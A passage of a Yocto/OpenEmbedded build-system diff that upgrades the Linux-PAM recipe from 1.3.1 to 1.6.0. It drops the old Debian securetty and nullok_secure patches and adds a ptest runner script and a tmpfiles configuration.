- securelib_LTLIBRARIES = pam_securetty.la
- pam_securetty_la_LIBADD = $(top_builddir)/libpam/libpam.la
-
-+pam_securetty_la_SOURCES = \
-+ pam_securetty.c \
-+ tty_secure.c
-+
- if ENABLE_REGENERATE_MAN
- noinst_DATA = README
- README: pam_securetty.8.xml
-Index: Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/pam_securetty.c
-+++ Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-@@ -1,7 +1,5 @@
- /* pam_securetty module */
-
--#define SECURETTY_FILE "/etc/securetty"
--#define TTY_PREFIX "/dev/"
- #define CMDLINE_FILE "/proc/cmdline"
- #define CONSOLEACTIVE_FILE "/sys/class/tty/console/active"
-
-@@ -40,6 +38,9 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
- #define PAM_DEBUG_ARG 0x0001
- #define PAM_NOCONSOLE_ARG 0x0002
-
-@@ -73,11 +74,7 @@ securetty_perform_check (pam_handle_t *p
- const char *username;
- const char *uttyname;
- const void *void_uttyname;
-- char ttyfileline[256];
-- char ptname[256];
-- struct stat ttyfileinfo;
- struct passwd *user_pwd;
-- FILE *ttyfile;
-
- /* log a trail for debugging */
- if (ctrl & PAM_DEBUG_ARG) {
-@@ -105,50 +102,7 @@ securetty_perform_check (pam_handle_t *p
- return PAM_SERVICE_ERR;
- }
-
-- /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-- if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0) {
-- uttyname += sizeof(TTY_PREFIX)-1;
-- }
--
-- if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-- pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m", SECURETTY_FILE);
-- return PAM_SUCCESS; /* for compatibility with old securetty handling,
-- this needs to succeed. But we still log the
-- error. */
-- }
--
-- if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-- /* If the file is world writable or is not a
-- normal file, return error */
-- pam_syslog(pamh, LOG_ERR,
-- "%s is either world writable or not a normal file",
-- SECURETTY_FILE);
-- return PAM_AUTH_ERR;
-- }
--
-- ttyfile = fopen(SECURETTY_FILE,"r");
-- if (ttyfile == NULL) { /* Check that we opened it successfully */
-- pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-- return PAM_SERVICE_ERR;
-- }
--
-- if (isdigit(uttyname[0])) {
-- snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-- } else {
-- ptname[0] = '\0';
-- }
--
-- retval = 1;
--
-- while ((fgets(ttyfileline, sizeof(ttyfileline)-1, ttyfile) != NULL)
-- && retval) {
-- if (ttyfileline[strlen(ttyfileline) - 1] == '\n')
-- ttyfileline[strlen(ttyfileline) - 1] = '\0';
--
-- retval = ( strcmp(ttyfileline, uttyname)
-- && (!ptname[0] || strcmp(ptname, uttyname)) );
-- }
-- fclose(ttyfile);
-+ retval = _pammodutil_tty_secure(pamh, uttyname);
-
- if (retval && !(ctrl & PAM_NOCONSOLE_ARG)) {
- FILE *cmdlinefile;
-Index: Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-===================================================================
---- /dev/null
-+++ Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-@@ -0,0 +1,90 @@
-+/*
-+ * A function to determine if a particular line is in /etc/securetty
-+ */
-+
-+
-+#define SECURETTY_FILE "/etc/securetty"
-+#define TTY_PREFIX "/dev/"
-+
-+/* This function taken out of pam_securetty by Sam Hartman
-+ * <hartmans@debian.org>*/
-+/*
-+ * by Elliot Lee <sopwith@redhat.com>, Red Hat Software.
-+ * July 25, 1996.
-+ * Slight modifications AGM. 1996/12/3
-+ */
-+
-+#include <unistd.h>
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <security/pam_modules.h>
-+#include <stdarg.h>
-+#include <syslog.h>
-+#include <sys/syslog.h>
-+#include <stdio.h>
-+#include <string.h>
-+#include <stdlib.h>
-+#include <ctype.h>
-+#include <security/pam_modutil.h>
-+#include <security/pam_ext.h>
-+
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
-+int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname)
-+{
-+ int retval = PAM_AUTH_ERR;
-+ char ttyfileline[256];
-+ char ptname[256];
-+ struct stat ttyfileinfo;
-+ FILE *ttyfile;
-+ /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-+ if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0)
-+ uttyname += sizeof(TTY_PREFIX)-1;
-+
-+ if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-+ pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m",
-+ SECURETTY_FILE);
-+ return PAM_SUCCESS; /* for compatibility with old securetty handling,
-+ this needs to succeed. But we still log the
-+ error. */
-+ }
-+
-+ if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-+ /* If the file is world writable or is not a
-+ normal file, return error */
-+ pam_syslog(pamh, LOG_ERR,
-+ "%s is either world writable or not a normal file",
-+ SECURETTY_FILE);
-+ return PAM_AUTH_ERR;
-+ }
-+
-+ ttyfile = fopen(SECURETTY_FILE,"r");
-+ if(ttyfile == NULL) { /* Check that we opened it successfully */
-+ pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-+ return PAM_SERVICE_ERR;
-+ }
-+
-+ if (isdigit(uttyname[0])) {
-+ snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-+ } else {
-+ ptname[0] = '\0';
-+ }
-+
-+ retval = 1;
-+
-+ while ((fgets(ttyfileline,sizeof(ttyfileline)-1, ttyfile) != NULL)
-+ && retval) {
-+ if(ttyfileline[strlen(ttyfileline) - 1] == '\n')
-+ ttyfileline[strlen(ttyfileline) - 1] = '\0';
-+ retval = ( strcmp(ttyfileline,uttyname)
-+ && (!ptname[0] || strcmp(ptname, uttyname)) );
-+ }
-+ fclose(ttyfile);
-+
-+ if(retval) {
-+ retval = PAM_AUTH_ERR;
-+ }
-+
-+ return retval;
-+}
diff --git a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch b/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
deleted file mode 100644
index d2cc66882e..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
+++ /dev/null
@@ -1,195 +0,0 @@
-From b6545b83f94c5fb7aec1478b8d458a1393f479c8 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 25 May 2016 14:12:25 +0300
-Subject: [PATCH] pam_unix: support 'nullok_secure' option
-
-Debian patch to add a new 'nullok_secure' option to pam_unix,
-which accepts users with null passwords only when the applicant is
-connected from a tty listed in /etc/securetty.
-
-Authors: Sam Hartman <hartmans@debian.org>,
- Steve Langasek <vorlon@debian.org>
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- modules/pam_unix/Makefile.am | 3 ++-
- modules/pam_unix/pam_unix.8.xml | 19 ++++++++++++++++++-
- modules/pam_unix/support.c | 40 +++++++++++++++++++++++++++++++++++-----
- modules/pam_unix/support.h | 8 ++++++--
- 4 files changed, 61 insertions(+), 9 deletions(-)
-
-diff --git a/modules/pam_unix/Makefile.am b/modules/pam_unix/Makefile.am
-index 56df178..2bba460 100644
---- a/modules/pam_unix/Makefile.am
-+++ b/modules/pam_unix/Makefile.am
-@@ -30,7 +30,8 @@ if HAVE_VERSIONING
- pam_unix_la_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map
- endif
- pam_unix_la_LIBADD = $(top_builddir)/libpam/libpam.la \
-- @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@
-+ @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@ \
-+ ../pam_securetty/tty_secure.lo
-
- securelib_LTLIBRARIES = pam_unix.la
-
-diff --git a/modules/pam_unix/pam_unix.8.xml b/modules/pam_unix/pam_unix.8.xml
-index 1b318f1..be0330e 100644
---- a/modules/pam_unix/pam_unix.8.xml
-+++ b/modules/pam_unix/pam_unix.8.xml
-@@ -159,7 +159,24 @@
- <para>
- The default action of this module is to not permit the
- user access to a service if their official password is blank.
-- The <option>nullok</option> argument overrides this default.
-+ The <option>nullok</option> argument overrides this default
-+ and allows any user with a blank password to access the
-+ service.
-+ </para>
-+ </listitem>
-+ </varlistentry>
-+ <varlistentry>
-+ <term>
-+ <option>nullok_secure</option>
-+ </term>
-+ <listitem>
-+ <para>
-+ The default action of this module is to not permit the
-+ user access to a service if their official password is blank.
-+ The <option>nullok_secure</option> argument overrides this
-+ default and allows any user with a blank password to access
-+ the service as long as the value of PAM_TTY is set to one of
-+ the values found in /etc/securetty.
- </para>
- </listitem>
- </varlistentry>
-diff --git a/modules/pam_unix/support.c b/modules/pam_unix/support.c
-index fc8595e..29e3341 100644
---- a/modules/pam_unix/support.c
-+++ b/modules/pam_unix/support.c
-@@ -183,13 +183,22 @@ int _set_ctrl(pam_handle_t *pamh, int flags, int *remember, int *rounds,
- /* now parse the arguments to this module */
-
- for (; argc-- > 0; ++argv) {
-+ int sl;
-
- D(("pam_unix arg: %s", *argv));
-
- for (j = 0; j < UNIX_CTRLS_; ++j) {
-- if (unix_args[j].token
-- && !strncmp(*argv, unix_args[j].token, strlen(unix_args[j].token))) {
-- break;
-+ if (unix_args[j].token) {
-+ sl = strlen(unix_args[j].token);
-+ if (unix_args[j].token[sl-1] == '=') {
-+ /* exclude argument from comparison */
-+ if (!strncmp(*argv, unix_args[j].token, sl))
-+ break;
-+ } else {
-+ /* compare full strings */
-+ if (!strcmp(*argv, unix_args[j].token))
-+ break;
-+ }
- }
- }
-
-@@ -560,6 +569,7 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- if (child == 0) {
- static char *envp[] = { NULL };
- const char *args[] = { NULL, NULL, NULL, NULL };
-+ int nullok = off(UNIX__NONULL, ctrl);
-
- /* XXX - should really tidy up PAM here too */
-
-@@ -587,7 +597,16 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- /* exec binary helper */
- args[0] = CHKPWD_HELPER;
- args[1] = user;
-- if (off(UNIX__NONULL, ctrl)) { /* this means we've succeeded */
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ const void *uttyname;
-+ retval = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval != PAM_SUCCESS || uttyname == NULL
-+ || _pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS) {
-+ nullok = 0;
-+ }
-+ }
-+
-+ if (nullok) {
- args[2]="nullok";
- } else {
- args[2]="nonull";
-@@ -672,6 +691,17 @@ _unix_blankpasswd (pam_handle_t *pamh, unsigned int ctrl, const char *name)
- if (on(UNIX__NONULL, ctrl))
- return 0; /* will fail but don't let on yet */
-
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ int retval2;
-+ const void *uttyname;
-+ retval2 = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval2 != PAM_SUCCESS || uttyname == NULL)
-+ return 0;
-+
-+ if (_pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS)
-+ return 0;
-+ }
-+
- /* UNIX passwords area */
-
- retval = get_pwd_hash(pamh, name, &pwd, &salt);
-@@ -758,7 +788,7 @@ int _unix_verify_password(pam_handle_t * pamh, const char *name
- }
- }
- } else {
-- retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
-+ retval = verify_pwd_hash(p, salt, _unix_blankpasswd(pamh, ctrl, name));
- }
-
- if (retval == PAM_SUCCESS) {
-diff --git a/modules/pam_unix/support.h b/modules/pam_unix/support.h
-index b4c279c..8da4a8e 100644
---- a/modules/pam_unix/support.h
-+++ b/modules/pam_unix/support.h
-@@ -98,8 +98,9 @@ typedef struct {
- #define UNIX_QUIET 28 /* Don't print informational messages */
- #define UNIX_NO_PASS_EXPIRY 29 /* Don't check for password expiration if not used for authentication */
- #define UNIX_DES 30 /* DES, default */
-+#define UNIX_NULLOK_SECURE 31 /* NULL passwords allowed only on secure ttys */
- /* -------------- */
--#define UNIX_CTRLS_ 31 /* number of ctrl arguments defined */
-+#define UNIX_CTRLS_ 32 /* number of ctrl arguments defined */
-
- #define UNIX_DES_CRYPT(ctrl) (off(UNIX_MD5_PASS,ctrl)&&off(UNIX_BIGCRYPT,ctrl)&&off(UNIX_SHA256_PASS,ctrl)&&off(UNIX_SHA512_PASS,ctrl)&&off(UNIX_BLOWFISH_PASS,ctrl))
-
-@@ -117,7 +118,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_AUTHTOK_TYPE */ {"authtok_type=", _ALL_ON_, 0100, 0},
- /* UNIX__PRELIM */ {NULL, _ALL_ON_^(0600), 0200, 0},
- /* UNIX__UPDATE */ {NULL, _ALL_ON_^(0600), 0400, 0},
--/* UNIX__NONULL */ {NULL, _ALL_ON_, 01000, 0},
-+/* UNIX__NONULL */ {NULL, _ALL_ON_^(02000000000), 01000, 0},
- /* UNIX__QUIET */ {NULL, _ALL_ON_, 02000, 0},
- /* UNIX_USE_AUTHTOK */ {"use_authtok", _ALL_ON_, 04000, 0},
- /* UNIX_SHADOW */ {"shadow", _ALL_ON_, 010000, 0},
-@@ -139,6 +140,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_QUIET */ {"quiet", _ALL_ON_, 01000000000, 0},
- /* UNIX_NO_PASS_EXPIRY */ {"no_pass_expiry", _ALL_ON_, 02000000000, 0},
- /* UNIX_DES */ {"des", _ALL_ON_^(0260420000), 0, 1},
-+/* UNIX_NULLOK_SECURE */ {"nullok_secure", _ALL_ON_^(01000), 02000000000, 0},
- };
-
- #define UNIX_DEFAULTS (unix_args[UNIX__NONULL].flag)
-@@ -172,6 +174,8 @@ extern int _unix_read_password(pam_handle_t * pamh
- ,const char *data_name
- ,const void **pass);
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname);
-+
- extern int _unix_run_verify_binary(pam_handle_t *pamh,
- unsigned int ctrl, const char *user, int *daysleft);
- #endif /* _PAM_UNIX_SUPPORT_H */
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
new file mode 100644
index 0000000000..1263feb03d
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
@@ -0,0 +1 @@
+d /run/sepermit 0755 root root - -
diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest
new file mode 100644
index 0000000000..9c304aee47
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/run-ptest
@@ -0,0 +1,32 @@
+#! /bin/sh
+
+cd tests
+
+export srcdir=.
+
+failed=0
+all=0
+for f in tst-*; do
+ "./$f" > /dev/null 2>&1
+ case "$?" in
+ 0)
+ echo "PASS: $f"
+ all=$((all + 1))
+ ;;
+ 77)
+ echo "SKIP: $f"
+ ;;
+ *)
+ echo "FAIL: $f"
+ failed=$((failed + 1))
+ all=$((all + 1))
+ ;;
+ esac
+done
+
+if [ "$failed" -eq 0 ] ; then
+ echo "All $all tests passed"
+else
+ echo "$failed of $all tests failed"
+fi
+unset srcdir
diff --git a/meta/recipes-extended/pam/libpam_1.3.1.bb b/meta/recipes-extended/pam/libpam_1.3.1.bb
deleted file mode 100644
index bc72afe6ad..0000000000
--- a/meta/recipes-extended/pam/libpam_1.3.1.bb
+++ /dev/null
@@ -1,168 +0,0 @@
-DISABLE_STATIC = ""
-SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
-DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
-HOMEPAGE = "https://fedorahosted.org/linux-pam/"
-BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
-SECTION = "base"
-# PAM is dual licensed under GPL and BSD.
-# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
-# libpam-runtime-1.0.1 is GPLv2+), by openembedded
-LICENSE = "GPLv2+ | BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
- file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
- "
-
-SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux-PAM-${PV}.tar.xz \
- file://99_pam \
- file://pam.d/common-account \
- file://pam.d/common-auth \
- file://pam.d/common-password \
- file://pam.d/common-session \
- file://pam.d/common-session-noninteractive \
- file://pam.d/other \
- file://libpam-xtests.patch \
- file://pam-security-abstract-securetty-handling.patch \
- file://pam-unix-nullok-secure.patch \
- file://crypt_configure.patch \
- "
-
-SRC_URI[md5sum] = "558ff53b0fc0563ca97f79e911822165"
-SRC_URI[sha256sum] = "eff47a4ecd833fbf18de9686632a70ee8d0794b79aecb217ebd0ce11db4cd0db"
-
-SRC_URI_append_libc-musl = " file://0001-Add-support-for-defining-missing-funcitonality.patch \
- file://include_paths_header.patch \
- "
-
-DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt"
-
-EXTRA_OECONF = "--includedir=${includedir}/security \
- --libdir=${base_libdir} \
- --disable-nis \
- --disable-regenerate-docu \
- --disable-prelude"
-
-CFLAGS_append = " -fPIC "
-
-S = "${WORKDIR}/Linux-PAM-${PV}"
-
-inherit autotools gettext pkgconfig
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
-PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
-
-PACKAGES += "${PN}-runtime ${PN}-xtests"
-FILES_${PN} = "${base_libdir}/lib*${SOLIBS}"
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-runtime = "${sysconfdir}"
-FILES_${PN}-xtests = "${datadir}/Linux-PAM/xtests"
-
-PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
-
-def get_multilib_bit(d):
- baselib = d.getVar('baselib') or ''
- return baselib.replace('lib', '')
-
-libpam_suffix = "suffix${@get_multilib_bit(d)}"
-
-RPROVIDES_${PN} += "${PN}-${libpam_suffix}"
-RPROVIDES_${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
-
-RDEPENDS_${PN}-runtime = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
- "
-RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-cracklib-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
- coreutils"
-
-# FIXME: Native suffix breaks here, disable it for now
-RRECOMMENDS_${PN} = "${PN}-runtime-${libpam_suffix}"
-RRECOMMENDS_${PN}_class-native = ""
-
-python populate_packages_prepend () {
- def pam_plugin_append_file(pn, dir, file):
- nf = os.path.join(dir, file)
- of = d.getVar('FILES_' + pn)
- if of:
- nf = of + " " + nf
- d.setVar('FILES_' + pn, nf)
-
- def pam_plugin_hook(file, pkg, pattern, format, basename):
- pn = d.getVar('PN')
- libpam_suffix = d.getVar('libpam_suffix')
-
- rdeps = d.getVar('RDEPENDS_' + pkg)
- if rdeps:
- rdeps = rdeps + " " + pn + "-" + libpam_suffix
- else:
- rdeps = pn + "-" + libpam_suffix
- d.setVar('RDEPENDS_' + pkg, rdeps)
-
- provides = d.getVar('RPROVIDES_' + pkg)
- if provides:
- provides = provides + " " + pkg + "-" + libpam_suffix
- else:
- provides = pkg + "-" + libpam_suffix
- d.setVar('RPROVIDES_' + pkg, provides)
-
- mlprefix = d.getVar('MLPREFIX') or ''
- dvar = d.expand('${WORKDIR}/package')
- pam_libdir = d.expand('${base_libdir}/security')
- pam_sbindir = d.expand('${sbindir}')
- pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
- pam_pkgname = mlprefix + 'pam-plugin%s'
-
- do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
- 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_chkpwd')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_update')
- pam_plugin_append_file('%spam-plugin-tally' % mlprefix, pam_sbindir, 'pam_tally')
- pam_plugin_append_file('%spam-plugin-tally2' % mlprefix, pam_sbindir, 'pam_tally2')
- pam_plugin_append_file('%spam-plugin-timestamp' % mlprefix, pam_sbindir, 'pam_timestamp_check')
- pam_plugin_append_file('%spam-plugin-mkhomedir' % mlprefix, pam_sbindir, 'mkhomedir_helper')
- pam_plugin_append_file('%spam-plugin-console' % mlprefix, pam_sbindir, 'pam_console_apply')
- do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
-}
-
-do_install() {
- autotools_do_install
-
- # don't install /var/run when populating rootfs. Do it through volatile
- rm -rf ${D}${localstatedir}
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_pam ${D}${sysconfdir}/default/volatiles
-
- install -d ${D}${sysconfdir}/pam.d/
- install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
-
- # The lsb requires unix_chkpwd has setuid permission
- chmod 4755 ${D}${sbindir}/unix_chkpwd
-
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
- fi
-}
-
-inherit features_check
-REQUIRED_DISTRO_FEATURES = "pam"
-
-BBCLASSEXTEND = "nativesdk native"
-
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-password"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-account"
-CONFFILES_${PN}-runtime += "${sysconfdir}/security/limits.conf"
-
-UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases"
-
-CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/pam/libpam_1.6.0.bb b/meta/recipes-extended/pam/libpam_1.6.0.bb
new file mode 100644
index 0000000000..e1ed940d1e
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam_1.6.0.bb
@@ -0,0 +1,191 @@
+DISABLE_STATIC = ""
+SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
+DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
+HOMEPAGE = "https://fedorahosted.org/linux-pam/"
+BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
+SECTION = "base"
+# PAM is dual licensed under GPL and BSD.
+# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
+# libpam-runtime-1.0.1 is GPL-2.0-or-later), by openembedded
+LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
+ file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
+ "
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/Linux-PAM-${PV}.tar.xz \
+ file://99_pam \
+ file://pam.d/common-account \
+ file://pam.d/common-auth \
+ file://pam.d/common-password \
+ file://pam.d/common-session \
+ file://pam.d/common-session-noninteractive \
+ file://pam.d/other \
+ file://libpam-xtests.patch \
+ file://run-ptest \
+ file://pam-volatiles.conf \
+ file://0001-pam_namespace-include-stdint-h.patch \
+ "
+
+SRC_URI[sha256sum] = "fff4a34e5bbee77e2e8f1992f27631e2329bcbf8a0563ddeb5c3389b4e3169ad"
+
+DEPENDS = "bison-native flex-native cracklib libxml2-native virtual/crypt"
+
+EXTRA_OECONF = "--includedir=${includedir}/security \
+ --libdir=${base_libdir} \
+ --with-systemdunitdir=${systemd_system_unitdir} \
+ --disable-nis \
+ --disable-regenerate-docu \
+ --disable-doc \
+ --disable-prelude"
+
+CFLAGS:append = " -fPIC "
+
+S = "${WORKDIR}/Linux-PAM-${PV}"
+
+inherit autotools gettext pkgconfig systemd ptest github-releases
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
+PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
+
+PACKAGES += "${PN}-runtime ${PN}-xtests"
+FILES:${PN} = " \
+ ${base_libdir}/lib*${SOLIBS} \
+ ${nonarch_libdir}/tmpfiles.d/*.conf \
+"
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
+FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}"
+FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
+
+# libpam installs /etc/environment for use with the pam_env plugin. Make sure it is
+# packaged with the pam-plugin-env package to avoid breaking installations which
+# install that file via other packages
+FILES:pam-plugin-env = "${sysconfdir}/environment"
+
+PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
+
+def get_multilib_bit(d):
+ baselib = d.getVar('baselib') or ''
+ return baselib.replace('lib', '')
+
+libpam_suffix = "suffix${@get_multilib_bit(d)}"
+
+RPROVIDES:${PN} += "${PN}-${libpam_suffix}"
+RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
+
+RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
+ "
+RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
+ bash coreutils"
+
+# FIXME: Native suffix breaks here, disable it for now
+RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}"
+RRECOMMENDS:${PN}:class-native = ""
+
+python populate_packages:prepend () {
+ def pam_plugin_hook(file, pkg, pattern, format, basename):
+ pn = d.getVar('PN')
+ libpam_suffix = d.getVar('libpam_suffix')
+
+ rdeps = d.getVar('RDEPENDS:' + pkg)
+ if rdeps:
+ rdeps = rdeps + " " + pn + "-" + libpam_suffix
+ else:
+ rdeps = pn + "-" + libpam_suffix
+ d.setVar('RDEPENDS:' + pkg, rdeps)
+
+ provides = d.getVar('RPROVIDES:' + pkg)
+ if provides:
+ provides = provides + " " + pkg + "-" + libpam_suffix
+ else:
+ provides = pkg + "-" + libpam_suffix
+ d.setVar('RPROVIDES:' + pkg, provides)
+
+ mlprefix = d.getVar('MLPREFIX') or ''
+ dvar = d.expand('${WORKDIR}/package')
+ pam_libdir = d.expand('${base_libdir}/security')
+ pam_sbindir = d.expand('${sbindir}')
+ pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
+ pam_pkgname = mlprefix + 'pam-plugin%s'
+
+ do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
+ 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='', prepend=True)
+ do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
+}
+
+do_compile_ptest() {
+ cd tests
+ sed -i -e 's/$(MAKE) $(AM_MAKEFLAGS) check-TESTS//' Makefile
+ oe_runmake check-am
+ cd -
+}
+
+do_install() {
+ autotools_do_install
+
+ # don't install /var/run when populating rootfs. Do it through volatile
+ rm -rf ${D}${localstatedir}
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
+ rm -rf ${D}${sysconfdir}/init.d/
+ rm -rf ${D}${sysconfdir}/rc*
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
+ install -m 0644 ${WORKDIR}/pam-volatiles.conf \
+ ${D}${nonarch_libdir}/tmpfiles.d/pam.conf
+ else
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_pam \
+ ${D}${sysconfdir}/default/volatiles/
+ fi
+
